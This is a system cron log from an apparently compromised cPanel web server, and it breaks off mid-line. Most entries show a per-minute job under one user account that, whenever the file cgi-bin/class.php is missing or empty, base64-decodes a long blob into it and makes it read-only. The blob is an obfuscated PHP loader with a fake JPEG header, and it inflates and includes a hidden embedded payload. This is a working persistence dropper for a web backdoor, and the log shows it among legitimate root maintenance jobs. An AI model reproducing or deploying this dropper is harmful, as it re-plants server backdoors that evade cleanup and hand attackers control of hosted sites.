Apr 11 18:17:01 server CROND[29650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:18:01 server CROND[29701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:19:01 server CROND[29768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:20:01 server CROND[29915]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 18:20:01 server CROND[29916]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 18:20:01 server CROND[29917]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 18:20:01 server CROND[29918]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 18:20:01 server CROND[29920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:21:01 server CROND[30023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:22:01 server CROND[30063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:23:01 server CROND[30109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:24:01 server CROND[30163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:25:01 server CROND[30311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:25:01 server CROND[30312]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 11 18:25:01 server CROND[30313]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 18:25:01 server CROND[30314]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 18:26:01 server CROND[30424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:27:01 server CROND[30471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:27:01 server CROND[30472]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 18:28:01 server CROND[30522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:29:01 server CROND[30566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:30:01 server CROND[30632]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 18:30:01 server CROND[30634]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 18:30:01 server CROND[30635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKC